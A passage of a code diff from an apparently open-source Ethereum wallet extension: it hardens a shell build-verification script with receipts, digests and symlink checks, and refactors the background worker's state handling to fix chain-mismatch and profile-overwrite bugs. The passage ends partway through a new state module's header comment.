+# with exactly the recorded bytes, and its debug marker must match what the
+# caller said this build was.
+check_entry() {
+    [ ! -h "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH but that path is a symlink. The
+    build emits regular files only, so this is not the file it wrote. Refusing
+    to report success."
+    [ -f "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
+    not hold what the build emitted."
+    [ -s "$ENTRY_PATH" ] ||
+        fail "the receipt names $ENTRY_PATH, which is empty. An empty file
+    carries no marker and matches no digest, so this is a failure and not a
+    pass."
+
+    read_sha256 "$ENTRY_PATH"
+    [ "$SHA" = "$ENTRY_HASH" ] ||
+        fail "$ENTRY_PATH does not contain the bytes this build emitted: the
+    receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
+    to dist/ after the build, so this artifact is not the one that was built."
+
+    if [ "$ENTRY_FLAG" = A ]; then
+        read_marker "$ENTRY_PATH"
+        [ "$MARKER" = "$EXPECT" ] ||
+            fail "$ENTRY_PATH is $MARKER but this build was told to expect
+    $EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
+    build, that is why: the flag still reaches the compiler, and this is the
+    check that stops the debug artifact being taken for a release one."
+        echo "  ok: $ENTRY_PATH ($MARKER)"
+        AUDITED=$((AUDITED + 1))
+    else
+        if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
+            has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
+            fail "$ENTRY_PATH carries a debug marker but the build did not
+    record it as containing src/shared/constants.js. build.js selects audited
+    bundles with an endsWith(\".js\") test; a marker-carrying file outside that
+    set means the test no longer describes what is emitted, and the DEBUG state
+    of this file was never asserted against anything."
+        fi
+    fi
+    COUNT=$((COUNT + 1))
+}
+
+# Walk the receipt line by line, applying $1 to each file entry. The header and
+# the root line are checked on the way past; the root line is what stops a
+# receipt written by a build of some other tree being pointed at this one.
+walk_receipt() {
+    _wr_each="$1"
+    LINENO_R=0
+    _line=""
+    while IFS= read -r _line || [ -n "$_line" ]; do
+        LINENO_R=$((LINENO_R + 1))
+        if [ "$LINENO_R" -eq 1 ]; then
+            [ "$_line" = "$RECEIPT_HEADER" ] ||
+                fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
+    is not a build receipt this script understands. Refusing to report
+    success."
+            continue
+        fi
+        if [ "$LINENO_R" -eq 2 ]; then
+            [ "$_line" = "root $ROOT" ] ||
+                fail "$RECEIPT was written by a build of a different tree: it
+    says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
+    the tree it was built in."
+            continue
+        fi
+        parse_file_line "$_line"
+        "$_wr_each"
+    done <"$RECEIPT"
+
+    [ "$LINENO_R" -ge 2 ] ||
+        fail "$RECEIPT is truncated: it has no root line, so it is not a
+    receipt this script can check anything against."
+}
+
+# Pass one: the receipt has to be a receipt before anything is concluded from
+# it. A line this script cannot read is a file that would go unchecked, and a
+# receipt naming no audited bundle asserts no DEBUG state at all — both are
+# failures, and both have to be established before the tree is walked against
+# it, because a receipt entry that was misread would otherwise surface as a
+# complaint about dist/.
+count_entry() {
+    SHAPE_COUNT=$((SHAPE_COUNT + 1))
+    if [ "$ENTRY_FLAG" = A ]; then
+        SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
+    fi
+}
+
+check_receipt_shape() {
+    SHAPE_COUNT=0
+    SHAPE_AUDITED=0
+    walk_receipt count_entry
+
+    [ "$SHAPE_COUNT" -gt 0 ] ||
+        fail "$RECEIPT names no emitted files, so nothing was inspected. A
+    build always emits some."
+    [ "$SHAPE_AUDITED" -gt 0 ] ||
+        fail "$RECEIPT names no bundle containing src/shared/constants.js, so
+    no DEBUG state would be asserted at all. That is never correct, so it is a
+    failure and not a pass."
+}
+
+# Pass three: every file the receipt names, checked against the bytes on disk.
+check_receipt_entries() {
+    walk_receipt check_entry
+}
+
+# --- the emitted tree -------------------------------------------------------
+
+# The receipt says which files the build emitted. This says dist/ contains no
+# others: an artifact that was added after the build, or that a hand-written
+# dist/ brought with it, is not something the build vouches for and is not
+# something this check may pass over.
 #
-# Deliberately unfiltered by extension. build.js selects manifest entries with
-# an endsWith(".js") test; repeating that literal here would mean a bundle
-# emitted under some other extension escaped the manifest AND this check at
-# once, which is the correlated blind spot the two-source design exists to
-# avoid. Every regular file and every symlink under dist/ is searched — that
-# is the whole of what a build emits — so build.js's filter is the only place
-# the assumption lives and this check is what catches it being wrong.
-#
-# That claim only holds if the walk is exhaustive and every name survives it
-# intact, so four things are enforced here rather than assumed:
+# The walk has to be exhaustive and every name has to survive it intact, so
+# four things are enforced rather than assumed:
 #
 #   - the walk is NUL-delimited and the paths reach the check as arguments, so
 #     no name can be reshaped on the way in. Read line by line, a name with a
 #     trailing space lost it to read's field splitting and the remnant then
-#     matched a manifest line, and a name containing a newline arrived as a
-#     listed path plus an empty one. Both left a marker-carrying, unlisted file
-#     unchecked while the script still reported success. Delivering such a name
-#     intact is only half of it; is_listed also has to keep it out of grep's
-#     pattern, for the same reason.
+#     matched a listed path, and a name containing a newline arrived as a
+#     listed path plus an empty one. Both left an unchecked file in dist/ while
+#     the script still reported success.
 #   - find's exit status is checked. A subtree it cannot descend is reported on
 #     stderr and then simply missing from the listing, so an unchecked status
 #     turns "could not look" into "nothing was there" — the same conflation
 #     has_marker exists to prevent. The status cannot be read off a pipeline,
 #     so the listing lands in a file that xargs then reads back.
-#   - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
-#     reachable under an unlisted path in dist/ is a stale manifest whether the
-#     path is a link or a file, and grep reads through the link. A link that
-#     cannot be read through — dangling, or pointing at a directory — fails
-#     hard via has_marker's exit-2 path, which is the fail-closed answer: the
-#     build emits neither, so their DEBUG state is unproven, not fine.
+#   - symlinks are walked too (-type l), not skipped. The build emits none, so
+#     a symlink under dist/ is a path the build did not produce, whatever it
+#     points at, and it fails as one instead of being read through.
 #   - dist/ itself must be a directory and not a symlink, which main asserts
 #     before anything reads through it. find does not follow a symlink named on
 #     its own command line, so a linked dist/ collapses this walk to one entry
 #     and cross-checks nothing.
 #
-# Types other than regular files and symlinks are left out on purpose: a build
-# emits none of them, and grep on a fifo would hang rather than fail.
-check_unlisted_bundles() {
+# Types other than regular files and symlinks — fifos, sockets, device nodes and
+# empty directories — are left out on purpose, and the guarantee is bounded to
+# what is walked: a build emits none of them, none can carry a shippable
+# payload, and grep on a fifo would hang rather than fail.
+check_dist_tree() {
     LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
         fail "could not create a temporary file for the dist/ listing, so the
     tree was never walked. Refusing to report success."
@@ -191,105 +412,196 @@ check_unlisted_bundles() {
     [ "$_find_status" -eq 0 ] ||
         fail "find exited $_find_status enumerating dist/, so part of the tree
     was never walked and nothing was established about the files in it. Any
-    unlisted bundle there went unchecked. That is a permissions or I/O fault on
-    the artifact, not a stale manifest. Refusing to report success."
+    file the build did not emit could be sitting there unchecked. That is a
+    permissions or I/O fault on the artifact. Refusing to report success."
 
     _scan_status=0
-    xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
+    xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
     [ "$_scan_status" -eq 0 ] ||
-        fail "the unlisted-bundle scan exited $_scan_status: either a path
-    under dist/ failed the check reported above, or the scan could not be run
-    at all. Refusing to report success."
+        fail "the dist/ tree scan exited $_scan_status: either a path under
+    dist/ failed the check reported above, or the scan could not be run at all.
+    Refusing to report success."
 }
 
-# The per-path half of check_unlisted_bundles. It runs in a re-invocation of
-# this script, so it uses the same is_listed and has_marker as the rest of the
-# file rather than a second copy of them that could drift. Paths arrive as
-# arguments and are never split, joined or trimmed.
+# Does the receipt name the path $1? Compared as whole strings, never through
+# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
+# the place to put one. The receipt's own paths are known to carry no
+# whitespace by the time this runs — verify_receipt failed the run otherwise —
+# so stripping the three leading fields recovers each one exactly.
+receipt_names() {
+    _rn_want="$1"
+    _rn_line=""
+    while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
+        case "$_rn_line" in
+        "file "*) ;;
+        *) continue ;;
+        esac
+        [ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
+    done <"$RECEIPT"
+    return 1
+}
+
+# The per-path half of check_dist_tree. It runs in a re-invocation of this
+# script, so it uses the same helpers as the rest of the file rather than a
+# second copy of them that could drift. Paths arrive as arguments and are never
+# split, joined or trimmed.
 scan_dist_paths() {
     for _file in "$@"; do
-        if is_listed "$_file"; then
+        if [ -h "$_file" ]; then
+            fail "$_file is a symlink under dist/. The build emits regular
+    files only, so this path is not something it produced, and what it points
+    at is not what was verified. Refusing to report success."
+        fi
+        if receipt_names "$_file"; then
             continue
         fi
-        if has_marker "$MARKER_ON" "$_file" ||
-            has_marker "$MARKER_OFF" "$_file"; then
-            fail "$_file carries a debug marker but is absent from $MANIFEST,
-    so the manifest no longer describes the emitted bundles."
-        fi
+        fail "$_file is under dist/ but the build that just ran did not emit
+    it. dist/ must contain exactly what the build produced: an extra file there
+    is an artifact nothing vouches for, and shipping the directory ships it."
     done
 }
 
-# The requested mode, read from our own environment using build.js's exact
-# rule: only the literal 1 opts in. Deliberately not taken from anything
-# build.js records about itself, so build.js cannot vouch for build.js.
-expected_marker() {
-    if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
-        echo "$MARKER_ON"
-    else
-        echo "$MARKER_OFF"
-    fi
+# --- arguments --------------------------------------------------------------
+
+# The expected mode and the receipt are stated by the caller. Nothing is read
+# from the environment, and there is no default for either.
+parse_args() {
+    while [ "$#" -gt 0 ]; do
+        case "$1" in
+        --expect)
+            [ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
+            set_expect "$2"
+            shift 2
+            ;;
+        --expect=*)
+            set_expect "${1#--expect=}"
+            shift
+            ;;
+        --receipt)
+            [ "$#" -ge 2 ] || fail "--receipt needs a path."
+            set_receipt "$2"
+            shift 2
+            ;;
+        --receipt=*)
+            set_receipt "${1#--receipt=}"
+            shift
+            ;;
+        *)
+            usage
+            fail "unknown argument: $1"
+            ;;
+        esac
+    done
 }
 
-main() {
-    cd "$ROOT"
+set_expect() {
+    [ -z "$EXPECT" ] || fail "--expect given more than once."
+    case "$1" in
+    release) EXPECT="$MARKER_OFF" ;;
+    debug) EXPECT="$MARKER_ON" ;;
+    *) fail "--expect takes release or debug, not \"$1\"." ;;
+    esac
+}
 
-    # Internal re-entry from check_unlisted_bundles' xargs. Not part of the
+set_receipt() {
+    [ -z "$RECEIPT" ] || fail "--receipt given more than once."
+    [ -n "$1" ] || fail "--receipt was given an empty path."
+    # Resolved against the caller's directory, before main cd's to the repo
+    # root.
+    case "$1" in
+    /*) RECEIPT="$1" ;;
+    *) RECEIPT="$PWD/$1" ;;
+    esac
+}
+
+# --- main -------------------------------------------------------------------
+
+main() {
+    # Internal re-entry from check_dist_tree's xargs. Not part of the
     # command-line interface: nothing else invokes it, and it is a distinct
     # entry point rather than a mode flag threaded through the checks below.
     if [ "${1-}" = "$SCAN_FLAG" ]; then
         shift
+        [ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
+        RECEIPT="$1"
+        shift
+        cd "$ROOT"
+        [ -r "$RECEIPT" ] ||
+            fail "$RECEIPT became unreadable during the run, so the dist/ tree
+    could not be checked against it. Refusing to report success."
         scan_dist_paths "$@"
         return 0
     fi
 
-    expected="$(expected_marker)"
-    echo "Verifying emitted bundles (expecting $expected)..."
+    parse_args "$@"
+
+    [ -n "$EXPECT" ] || {
+        usage
+        fail "no --expect argument. The mode this build was supposed to produce
+    has to be stated by whoever ran the build; it is not a default and it is
+    not read from AUTISTMASK_DEBUG in this script's environment, because an
+    operator with that exported would then have their debug build verified as
+    the release one they asked for."
+    }
+    [ -n "$RECEIPT" ] || {
+        usage
+        fail "no --receipt argument. The list of files to check comes from the
+    build that just ran, not from dist/: without it, a hand-written dist/ would
+    be verifying itself. make build and make build-debug pass one."
+    }
+
+    pick_sha256
+    cd "$ROOT"
 
     # Asserted here rather than left to grep. A symlinked dist/ used to fail
-    # only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
-    # single entry hit has_marker's I/O path by luck; under a grep that exits 1
-    # instead, the whole cross-check would have collapsed into a pass.
+    # only because GNU grep exits 2 on a directory, so the tree walk hit
+    # has_marker's I/O path by luck; under a grep that exits 1 instead, the
+    # whole cross-check would have collapsed into a pass.
     if [ -h dist ]; then
         fail "dist is a symlink, not a directory. find does not follow a
-    symlink named on its own command line, so the unlisted-bundle cross-check
-    would see one entry instead of the emitted tree and establish nothing about
-    it. Refusing to report success."
+    symlink named on its own command line, so the tree walk would see one entry
+    instead of the emitted tree and establish nothing about it. Refusing to
+    report success."
     fi
     [ -d dist ] ||
         fail "dist is not a directory, so there is no emitted tree to verify.
     build.js writes it; run make build first."
 
-    [ -f "$MANIFEST" ] ||
-        fail "$MANIFEST is missing. build.js writes it at the end of a
-    successful build; run make build first."
-    [ -s "$MANIFEST" ] ||
-        fail "$MANIFEST is empty, so no emitted bundle was found to contain
-    src/shared/constants.js. That is never correct, so it is a failure and not
-    a pass."
-    [ -r "$MANIFEST" ] ||
-        fail "$MANIFEST is not readable, so nothing was inspected. That is a
+    case "$RECEIPT" in
+    "$ROOT/dist" | "$ROOT/dist/"*)
+        fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
+    the tree it describes is rewritten by whoever rewrites the tree, and vouches
+    for nothing. make build keeps it outside the repo."
+        ;;
+    esac
+
+    [ -e "$RECEIPT" ] ||
+        fail "$RECEIPT is missing. build.js writes it at the end of a
+    successful build; run make build rather than invoking this directly."
+    [ -f "$RECEIPT" ] ||
+        fail "$RECEIPT is not a regular file, so it is not a build receipt."
+    [ -s "$RECEIPT" ] ||
+        fail "$RECEIPT is empty, so the build wrote nothing to it and there is
+    no account of what it emitted. build.js writes the receipt last, so an
+    empty one means the build did not finish."
+    [ -r "$RECEIPT" ] ||
+        fail "$RECEIPT is not readable, so nothing was inspected. That is a
     permissions or I/O fault, not a pass."
 
-    count=0
-    while read -r file; do
-        [ -n "$file" ] || continue
-        [ -f "$file" ] ||
-            fail "$MANIFEST lists $file, which does not exist."
-        [ -s "$file" ] ||
-            fail "$MANIFEST lists $file, which is empty. An empty bundle
-    carries no marker and proves nothing, so this is a failure and not a pass."
-        read_marker "$file"
-        [ "$MARKER" = "$expected" ] ||
-            fail "$file is $MARKER but this build expects $expected."
-        echo "  ok: $file ($MARKER)"
-        count=$((count + 1))
-    done <"$MANIFEST"
+    echo "Verifying emitted files against the build receipt (expecting" \
+        "$EXPECT)..."
 
-    [ "$count" -gt 0 ] || fail "no bundles were inspected."
+    # Order matters. The receipt has to be well-formed before it is used as an
+    # expectation, and the tree has to be walkable in full before any single
+    # file in it is pronounced on: a subtree that cannot be descended makes
+    # every file under it look absent, and "could not look" must never be
+    # reported as "was not there".
+    check_receipt_shape
+    check_dist_tree
+    check_receipt_entries
 
-    check_unlisted_bundles
-
-    echo "verify-build: $count bundle(s) verified $expected"
+    echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
+        "$AUDITED bundle(s) $EXPECT"
 }
 
 main "$@"

src/background/index.js

@@ -2,15 +2,17 @@
 // Handles EIP-1193 RPC requests from content scripts and proxies
 // non-sensitive calls to the configured Ethereum JSON-RPC endpoint.
 
-const { DEFAULT_RPC_URL } = require("../shared/constants");
-const { SUPPORTED_CHAIN_IDS, networkByChainId } = require("../shared/networks");
-const { onChainSwitch } = require("../shared/chainSwitch");
 const {
-    state,
-    loadState,
-    saveState,
-    currentNetwork,
-} = require("../shared/state");
+    SUPPORTED_CHAIN_IDS,
+    networkById,
+    networkByChainId,
+} = require("../shared/networks");
+const { applyChainSwitchFields } = require("../shared/chainSwitchFields");
+// The background's own storage layer. src/shared/state.js — the module-level
+// `state` singleton, loadState() and saveState() — is deliberately NOT
+// imported here and must never be: see the header of src/background/state.js,
+// and the lint rule that enforces it in eslint.config.js.
+const { getState, updateState } = require("./state");
 const { refreshBalances, getProvider } = require("../shared/balances");
 const { debugFetch, log } = require("../shared/log");
 const {
@@ -38,7 +40,6 @@ const {
 const {
     actionApi,
     runtimeApi,
-    storageGet,
     tabsQuery,
     tabsSendMessage,
     windowsApi,
@@ -175,21 +176,12 @@ const INTERNAL_ERROR_CODE = -32603;
 const INTERNAL_ERROR_MESSAGE =
     "AutistMask could not complete this request because of an internal error.";
 
-async function getState() {
-    const result = await storageGet("autistmask");
-    return (
-        result.autistmask || {
-            wallets: [],
-            rpcUrl: DEFAULT_RPC_URL,
-            activeAddress: null,
-            allowedSites: {},
-            deniedSites: {},
-        }
-    );
-}
-
-async function getActiveAddress() {
-    const s = await getState();
+// The active address of a profile snapshot. Pure, and taking the snapshot as
+// an argument rather than reading storage itself: a handler that has already
+// read state must not answer "which account is this" from a SECOND, later read
+// — the two can disagree, and the checks that compare them would then be
+// comparing two different moments.
+function activeAddressOf(s) {
     if (s.activeAddress) return s.activeAddress;
     // Fall back to first address
     if (s.wallets.length > 0 && s.wallets[0].addresses.length > 0) {
@@ -198,6 +190,11 @@ async function getActiveAddress() {
     return null;
 }
 
+// For the few call sites that need only the address and hold no snapshot.
+async function getActiveAddress() {
+    return activeAddressOf(await getState());
+}
+
 // Whether a request names a signing address other than the active one. Such a
 // request is refused rather than quietly signed as whichever address happens
 // to be active: the page asked for account A and would otherwise be handed
@@ -206,9 +203,14 @@ function namesAnotherAddress(requested, activeAddress) {
     return !!requested && !sameAddress(requested, activeAddress);
 }
 
+// The endpoint alone, for the one caller that needs nothing else. Anything
+// that also needs the network the endpoint belongs to must take both from ONE
+// snapshot — see handleSendTransaction() — because a chain switch moves them
+// together and a provider built from two different reads can end up pointed at
+// one chain and told it is on another
+// (https://git.eeqj.de/sneak/AutistMask/issues/320).
 async function getRpcUrl() {
-    const s = await getState();
-    return s.rpcUrl || DEFAULT_RPC_URL;
+    return (await getState()).rpcUrl;
 }
 
 function extractHostname(origin) {
@@ -549,10 +551,26 @@ runtime.onConnect.addListener((port) => {
     }
 });
 
+// Record a remembered site decision under one address.
+//
+// A read-modify-write against storage, not a load-mutate-save of a shared
+// singleton: the user takes seconds to answer the prompt, and everything else
+// in the worker — a balance refresh in flight, another site's approval — has
+// gone on running the whole time. Loading here used to replace the very
+// objects that work was holding.
+async function rememberSiteChoice(field, address, hostname) {
+    await updateState((s) => {
+        if (!s[field][address]) s[field][address] = [];
+        if (!s[field][address].includes(hostname)) {
+            s[field][address].push(hostname);
+        }
+    });
+}
+
 // Handle connection requests (eth_requestAccounts, wallet_requestPermissions)
 async function handleConnectionRequest(origin) {
     const s = await getState();
-    const activeAddress = await getActiveAddress();
+    const activeAddress = activeAddressOf(s);
     if (!activeAddress) {
         return { error: { message: "No accounts available" } };
     }
@@ -584,29 +602,14 @@ async function handleConnectionRequest(origin) {
 
     if (decision.approved) {
         if (decision.remember) {
-            // Reload state to get latest, add to allowed, persist
-            await loadState();
-            if (!state.allowedSites[activeAddress]) {
-                state.allowedSites[activeAddress] = [];
-            }
-            if (!state.allowedSites[activeAddress].includes(hostname)) {
-                state.allowedSites[activeAddress].push(hostname);
-            }
-            await saveState();
+            await rememberSiteChoice("allowedSites", activeAddress, hostname);
         } else {
             connectedSites[origin + ":" + activeAddress] = true;
         }
         return { result: [activeAddress] };
     } else {
         if (decision.remember) {
-            await loadState();
-            if (!state.deniedSites[activeAddress]) {
-                state.deniedSites[activeAddress] = [];
-            }
-            if (!state.deniedSites[activeAddress].includes(hostname)) {
-                state.deniedSites[activeAddress].push(hostname);
-            }
-            await saveState();
+            await rememberSiteChoice("deniedSites", activeAddress, hostname);
         }
         return {
             error: {
@@ -650,7 +653,7 @@ async function handleRpc(method, params, origin) {
 
     if (method === "eth_accounts") {
         const s = await getState();
-        const activeAddress = await getActiveAddress();
+        const activeAddress = activeAddressOf(s);
         if (!activeAddress) return { result: [] };
         const hostname = extractHostname(origin);
         const allowed = s.allowedSites[activeAddress] || [];
@@ -663,12 +666,17 @@ async function handleRpc(method, params, origin) {
         return { result: [] };
     }
 
-    if (method === "eth_chainId") {
-        return { result: currentNetwork().chainId };
-    }
-
-    if (method === "net_version") {
-        return { result: currentNetwork().networkVersion };
+    // Both used to be answered from currentNetwork(), which reads the
+    // module-level state singleton, and nothing populates that at module
+    // scope. A worker revived by the page's own message therefore held
+    // DEFAULT_STATE and told a page it was on mainnet while the user was on
+    // Sepolia (https://git.eeqj.de/sneak/AutistMask/issues/317).
+    if (method === "eth_chainId" || method === "net_version") {
+        const s = await getState();
+        const net = networkById(s.networkId);
+        return {
+            result: method === "eth_chainId" ? net.chainId : net.networkVersion,
+        };
     }
 
     if (method === "wallet_switchEthereumChain") {
@@ -679,7 +687,7 @@ async function handleRpc(method, params, origin) {
         // not be able to do it. Ungated, any page could clear the
         // [TESTNET] banner under a user who believed they were on Sepolia.
         const s = await getState();
-        const activeAddress = await getActiveAddress();
+        const activeAddress = activeAddressOf(s);
         const hostname = extractHostname(origin);
         const allowed = s.allowedSites[activeAddress] || [];
         if (
@@ -689,24 +697,25 @@ async function handleRpc(method, params, origin) {
             return { error: { code: 4100, message: "Unauthorized" } };
         }
 
-        // onChainSwitch() mutates the module-level state singleton and then
-        // saves every field of it, and currentNetwork() reads the same
-        // singleton. This worker may have been started by this very message:
-        // nothing loads state at module scope, so without this the singleton
-        // is DEFAULT_STATE, the same-chain check compares against the wrong
-        // network, and the save writes empty wallets, empty allowedSites and
-        // the default endpoints over the user's stored profile
-        // (https://git.eeqj.de/sneak/AutistMask/issues/316). Same precedent
-        // as the transaction path below.
-        await loadState();
-
+        // The chain in force is read from the snapshot above, not from the
+        // singleton: this worker may have been started by this very message,
+        // and the singleton would then be DEFAULT_STATE, so the same-chain
+        // check compared against mainnet whatever the user was on
+        // (https://git.eeqj.de/sneak/AutistMask/issues/316).
         const chainId = params?.[0]?.chainId;
-        if (chainId === currentNetwork().chainId) {
+        if (chainId === networkById(s.networkId).chainId) {
             return { result: null };
         }
         if (SUPPORTED_CHAIN_IDS.has(chainId)) {
             const target = networkByChainId(chainId);
-            await onChainSwitch(target.id);
+            // Read-modify-write against storage. The old path went through
+            // onChainSwitch(), which mutates the singleton and then persists
+            // every field of it — on an unloaded worker that wrote empty
+            // wallets, empty allowedSites and the default endpoints over the
+            // user's stored profile, encrypted secrets included.
+            await updateState((fresh) =>
+                applyChainSwitchFields(fresh, target.id),
+            );
             broadcastChainChanged(target.chainId);
             return { result: null };
         }
@@ -753,7 +762,7 @@ async function handleRpc(method, params, origin) {
 
     if (method === "wallet_getPermissions") {
         const s = await getState();
-        const activeAddress = await getActiveAddress();
+        const activeAddress = activeAddressOf(s);
         const hostname = extractHostname(origin);
         const allowed = s.allowedSites[activeAddress] || [];
         const isConnected =
@@ -779,7 +788,7 @@ async function handleRpc(method, params, origin) {
 
     if (method === "personal_sign" || method === "eth_sign") {
         const s = await getState();
-        const activeAddress = await getActiveAddress();
+        const activeAddress = activeAddressOf(s);
         if (!activeAddress)
             return { error: { message: "No accounts available" } };
 
@@ -828,7 +837,7 @@ async function handleRpc(method, params, origin) {
 
     if (method === "eth_signTypedData_v4" || method === "eth_signTypedData") {
         const s = await getState();
-        const activeAddress = await getActiveAddress();
+        const activeAddress = activeAddressOf(s);
         if (!activeAddress)
             return { error: { message: "No accounts available" } };
 
@@ -884,7 +893,7 @@ async function handleRpc(method, params, origin) {
 // page has its answer.
 async function handleSendTransaction(params, origin) {
     const s = await getState();
-    const activeAddress = await getActiveAddress();
+    const activeAddress = activeAddressOf(s);
     if (!activeAddress) return { error: { message: "No accounts available" } };
 
     const hostname = extractHostname(origin);
@@ -928,10 +937,19 @@ async function handleSendTransaction(params, origin) {
         // user is shown is a complete one and is the same object the signed
         // artifact is checked against. A failure raises no approval at all and
         // is reported to the requesting page; see approvalTx.js.
+        //
+        // The provider is built from ONE snapshot — the endpoint and the
+        // network name both come from `s`. It used to be
+        // getProvider(await getRpcUrl()) with no network name at all, so
+        // getProvider fell back to the unpopulated singleton's mainnet: the
+        // endpoint was the user's chain and the static hint was 0x1, ethers
+        // fixed chainId at 0x1, and the wallet's own verifySignedTx then
+        // refused every non-mainnet dApp send
+        // (https://git.eeqj.de/sneak/AutistMask/issues/320).
         let approvedTx;
         try {
             approvedTx = await prepareApprovalTx(
-                getProvider(await getRpcUrl()),
+                getProvider(s.rpcUrl, s.networkId),
                 activeAddress,
                 txParams,
             );
@@ -1019,7 +1037,7 @@ async function broadcastAccountsChanged() {
     }
     resetPopupUrl();
     const s = await getState();
-    const activeAddress = await getActiveAddress();
+    const activeAddress = activeAddressOf(s);
     const allowed = activeAddress ? s.allowedSites[activeAddress] || [] : [];
     let tabs;
     try {
@@ -1059,20 +1077,60 @@ async function broadcastAccountsChanged() {
 const BALANCE_REFRESH_PERIOD_MS = BALANCE_REFRESH_PERIOD_MINUTES * 60 * 1000;
 const RECENT_BALANCE_REFRESH_MS = Math.floor(BALANCE_REFRESH_PERIOD_MS / 2);
 
+// The wallets this refresh works on are its OWN, and nothing else in the
+// worker can reach them.
+//
+// refreshBalances() mutates address objects in place across a multi-second
+// network round trip. It used to be handed the module-level singleton's
+// wallets, which meant any concurrent handler that called loadState() replaced
+// state.wallets underneath it: the refreshed balances landed on detached
+// objects, and the save that followed persisted the PRE-refresh values while
+// still stamping lastBalanceRefresh, suppressing the redo. Every point fix for
+// the singleton added such a loadState(), so the next one would have done it
+// again (https://git.eeqj.de/sneak/AutistMask/issues/324).
+//
+// So: read a snapshot, refresh a private copy of its wallets, then apply the
+// balances that came back — by address, onto whatever storage holds NOW.
+// Applying by address rather than writing the array back is what keeps a
+// wallet or address added, renamed or deleted during the round trip.
 async function backgroundRefresh() {
-    await loadState();
+    const s = await getState();
     const now = Date.now();
-    if (now - (state.lastBalanceRefresh || 0) < RECENT_BALANCE_REFRESH_MS)
-        return;
-    if (state.wallets.length === 0) return;
+    if (now - (s.lastBalanceRefresh || 0) < RECENT_BALANCE_REFRESH_MS) return;
+    if (s.wallets.length === 0) return;
+
+    const wallets = s.wallets;
     await refreshBalances(
-        state.wallets,
-        state.rpcUrl,
-        state.blockscoutUrl,
-        state.trackedTokens,
+        wallets,
+        s.rpcUrl,
+        s.blockscoutUrl,
+        s.trackedTokens,
+        s.networkId,
     );
-    state.lastBalanceRefresh = now;
-    await saveState();
+
+    const refreshed = new Map();
+    for (const wallet of wallets) {
+        for (const addr of wallet.addresses || []) {
+            refreshed.set(String(addr.address).toLowerCase(), addr);
+        }
+    }
+
+    await updateState((fresh) => {
+        for (const wallet of fresh.wallets) {
+            for (const addr of wallet.addresses || []) {
+                const got = refreshed.get(String(addr.address).toLowerCase());
+                if (!got) continue;
+                // Only fields the refresh actually produced. refreshBalances()
+                // leaves a field untouched when its lookup failed, so an
+                // undefined here means "no answer", not "the answer is empty",
+                // and must not overwrite what is stored.
+                for (const key of ["balance", "ensName", "tokenBalances"]) {
+                    if (got[key] !== undefined) addr[key] = got[key];
+                }
+            }
+        }
+        fresh.lastBalanceRefresh = now;
+    });
 }
 
 // The recurring job runs off an alarm, not a timer. On Chrome MV3 this file is
@@ -1287,16 +1345,29 @@ runtime.onMessage.addListener((msg, sender, sendResponse) => {
         // so an escape from there must not tell the user it might have.
         let lastResortStage = TX_STAGE_VERIFY;
         (async () => {
-            // The chain this attempt is on, read once. Verification below
-            // refuses an artifact signed for any other chain, and the nonce
-            // record is both consulted and written under this one, so a
-            // network switch part-way through cannot make the check and the
-            // record disagree about which chain the nonce was spent on.
+            // The chain this attempt is on, read once — and the endpoint it
+            // will be broadcast to comes from the SAME read.
+            //
+            // Verification below refuses an artifact signed for any other
+            // chain, and the nonce record is both consulted and written under
+            // this one, so a network switch part-way through cannot make the
+            // check and the record disagree about which chain the nonce was
+            // spent on. The endpoint used to be read separately, several
+            // awaits later (`state.rpcUrl` off the singleton), so a chain
+            // switch committed in that window moved the endpoint out from
+            // under a transaction already verified against the old chain: the
+            // artifact would be sent to the new chain's node, which is
+            // precisely the "signed for a different network" case the
+            // verification exists to prevent.
             let chainId;
+            let rpcUrl;
+            let networkId;
             try {
-                await loadState();
-                chainId = currentNetwork().chainId;
-                const activeAddress = await getActiveAddress();
+                const s = await getState();
+                networkId = s.networkId;
+                chainId = networkById(networkId).chainId;
+                rpcUrl = s.rpcUrl;
+                const activeAddress = activeAddressOf(s);
                 // An address switch between approval and signing refuses. The
                 // approval named one account; signing from whichever account
                 // is active now would send funds from an account this screen
@@ -1368,7 +1439,7 @@ runtime.onMessage.addListener((msg, sender, sendResponse) => {
             }
 
             try {
-                const provider = getProvider(state.rpcUrl);
+                const provider = getProvider(rpcUrl, networkId);
                 lastResortStage = TX_STAGE_BROADCAST;
                 const tx = await provider.broadcastTransaction(msg.rawSignedTx);
                 if (nonce !== null) spent.add(nonce);

src/background/state.js

@@ -0,0 +1,76 @@
+// The background's access to the persisted profile.
+//
+// There is no in-memory copy here, and that is the whole design. The MV3
+// service worker is terminated when idle and revived by the next message, so
+// anything held at module scope is either absent or arbitrarily stale, and
+// src/shared/state.js's module-level `state` singleton — which nothing in the
+// worker ever populates — silently served DEFAULT_STATE to whoever read it.
+// Five defects came out of that (https://git.eeqj.de/sneak/AutistMask/issues/324),
+// and every point fix for one of them added a loadState() that created the
+// next: loading detaches the objects an in-flight handler is holding.
+//
+// So the background reads per call and writes read-modify-write:
+//
+//   getState()        one storage read, normalized, detached. Nothing else
+//                     holds the object it returns, so a handler may keep it
+//                     across any number of awaits and no concurrent work can
+//                     move it.
+//   updateState(fn)   read fresh, apply fn to that fresh record, write it
+//                     back — all inside a queue, so two background writes
+//                     never interleave, and the read is one storage round trip
